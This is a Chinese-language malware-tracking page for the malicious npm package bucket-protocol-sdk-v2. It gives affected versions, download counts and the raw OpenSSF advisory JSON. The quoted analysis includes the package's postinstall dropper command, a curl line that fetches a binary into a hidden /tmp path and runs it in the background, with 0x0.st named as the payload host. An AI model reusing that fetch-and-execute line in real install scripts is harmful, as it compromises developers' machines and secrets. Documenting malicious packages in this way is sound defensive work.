目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%
← 返回恶意软件包
npm active

bucket-protocol-sdk-v2

MAL-2026-4502
2026-08-18 00:21:55
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in bucket-protocol-sdk-v2 (npm)

凭据/密钥窃取安装阶段执行
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
516
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
永久样本归档NAS
版本状态大小SHA-256获取方式
1.0.11unavailable
1.0.12unavailable
1.0.18unavailable
1.0.19unavailable
1.0.22unavailable
1.0.23unavailable
1.0.26unavailable
样本保存在内网 NAS 隔离区,不公开镜像地址;已开通会员可直接从平台下载。同步任务不会解压或执行样本。
受影响版本
EcosystemPackageVersion
npmbucket-protocol-sdk-v2*
npmbucket-protocol-sdk-v21.0.11
npmbucket-protocol-sdk-v21.0.12
npmbucket-protocol-sdk-v21.0.18
npmbucket-protocol-sdk-v21.0.19
npmbucket-protocol-sdk-v21.0.22
npmbucket-protocol-sdk-v21.0.23
npmbucket-protocol-sdk-v21.0.26
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"schema_version":"1.7.4","id":"MAL-2026-4502","published":"2026-05-20T04:04:00Z","modified":"2026-08-18T00:21:55.119444281Z","aliases":["GHSA-23pf-2cqf-xh64"],"summary":"Malicious code in bucket-protocol-sdk-v2 (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (e19ff8a6cb5a08bd0561658d41dfe3616f1680bc5acac989c97da38f37ee41b4)\nbucket-protocol-sdk-v2 advertises itself as a 'community maintained drop-in replacement' for the Sui ecosystem's bucket-protocol-sdk, but its src/ tree contains only empty stubs (`bucket.ts: export {};`, `index.ts: export * from './bucket';`) — no real SDK code is shipped. The entire payload is the postinstall hook. package.json declares `\"postinstall\": \"node install.js\"`; install.js checks whether the host is a Sui developer (presence of the `sui` binary or `~/.sui/sui_config/client.yaml`) and then runs `curl -s -L -o /tmp/.sui-helper ${implantUrl} && chmod +x /tmp/.sui-helper && /tmp/.sui-helper &` to fetch, stage, and background-execute an attacker binary at a hidden /tmp path. The variable is literally named `implantUrl` with the comment `PUT YOUR ACTUAL 0x0.st URL HERE`, identifying the intended payload host as the anonymous 0x0.st file dump. The URL is currently an empty string in this published version (staged/broken release), so today's install does not actually fetch a binary, but the dropper scaffolding, target-gating, hidden staging path, backgrounded execution, and typosquat-of-a-Sui-SDK lure are unambiguous. Any subsequent republish trivially fills the URL. The combination of hostile-named scaffolding, dev-machine-targeting gate, anonymous-host comment, and hollow library content satisfies the namespace-abuse-typosquat-with-payload and generic-binary-runner-dropper patterns.\n\n## Source: ghsa-malware (bf10092b7f2bbc98982554a98e320cf2fb9a56438a77f90e2749857026e2bfb8)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"bucket-protocol-sdk-v2","ecosystem":"npm"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.26","1.0.11","1.0.23","1.0.12","1.0.22","1.0.18","1.0.19"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"install.js","sha256":"2d541f32fa2565d1bd59984485a53d5d8e2e5d6ae8dcdcf39487df3aa74c9cce","tlsh":"86f0c0d202d2b336b9200cd5e959c43aa07bc0007417e6c494c84af72243a24c753cf7"},{"path":"package.json","sha256":"44fed77a3d0a86e89770b87608011b2f2b182bbd38aec02e3c133b30f24c032f","tlsh":"fbe0d82459134bb725c496570c26a167b7255f1f4444380c2adf9b1c839f7778cfa319"}],"package_integrity":[{"filename":"bucket-protocol-sdk-v2-1.0.26.tgz","hashes":{"sha1":"d2a7ff249158e4d6e9645fde6d0bfb4a5508267a","sha512_sri":"sha512-TUDlJnnMfPILAEnK4oJLNRqnrfEBnrL1bjbdPJdLtlmcOKMC1B/SdfAhyIRqWwwOxdShRTvHXz2p6/UDEt08Kw=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/bucket-protocol-sdk-v2/v/1.0.26"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/bucket-protocol-sdk-v2/v/1.0.11"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/bucket-protocol-sdk-v2/v/1.0.23"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/bucket-protocol-sdk-v2/v/1.0.12"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/bucket-protocol-sdk-v2/v/1.0.22"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/bucket-protocol-sdk-v2/v/1.0.18"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/bucket-protocol-sdk-v2/v/1.0.19"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-23pf-2cqf-xh64"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-003456","import_time":"2026-05-26T05:50:40.680023655Z","modified_time":"2026-05-20T04:04:30Z","sha256":"1b25f4c8e7236236452ca049e0a8409ea8cea78d9ceb131daeea771d6365f61b","source":"amazon-inspector","versions":["1.0.26"]},{"id":"IN-MAL-2026-003455","import_time":"2026-05-26T05:50:40.570388632Z","modified_time":"2026-05-20T04:04:10Z","sha256":"5bab9298f8bac43d26a48a14cb001113d1415a38e9dbe3d78c55a8ebba95e679","source":"amazon-inspector","versions":["1.0.11"]},{"id":"IN-MAL-2026-003462","import_time":"2026-05-26T05:50:41.316971934Z","modified_time":"2026-05-20T04:21:39Z","sha256":"66a46f323763deecb5661ae7aa597ac73691211c718359914fef69c4322309ee","source":"amazon-inspector","versions":["1.0.23"]},{"id":"IN-MAL-2026-003461","import_time":"2026-05-26T05:50:41.208819798Z","modified_time":"2026-05-20T04:21:14Z","sha256":"9612ba97a11244d132e6893004e23f8ba4999200709fc04dc4677a972de03155","source":"amazon-inspector","versions":["1.0.12"]},{"id":"IN-MAL-2026-003454","import_time":"2026-05-26T05:50:40.436204814Z","modified_time":"2026-05-20T04:04:00Z","sha256":"b70afaf3f61c7ec2726720fb4c7b00256bed2cd2eb65dc165cfa0fef243ecb13","source":"amazon-inspector","versions":["1.0.22"]},{"id":"IN-MAL-2026-003600","import_time":"2026-05-26T05:50:56.414273874Z","modified_time":"2026-05-20T19:30:10Z","sha256":"e19ff8a6cb5a08bd0561658d41dfe3616f1680bc5acac989c97da38f37ee41b4","source":"amazon-inspector","versions":["1.0.18"]},{"id":"IN-MAL-2026-003612","import_time":"2026-05-26T05:50:58.104269831Z","modified_time":"2026-05-20T20:42:07Z","sha256":"f213ad1e13ca48fd037fbad78f53b85c280b913fac9cd88632c4ad02f1fa980d","source":"amazon-inspector","versions":["1.0.19"]},{"id":"GHSA-23pf-2cqf-xh64","import_time":"2026-08-18T00:20:04.615093408Z","modified_time":"2026-08-17T16:11:56Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"bf10092b7f2bbc98982554a98e320cf2fb9a56438a77f90e2749857026e2bfb8","source":"ghsa-malware"}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}

数据来源:OpenSSF Malicious Packages · Apache-2.0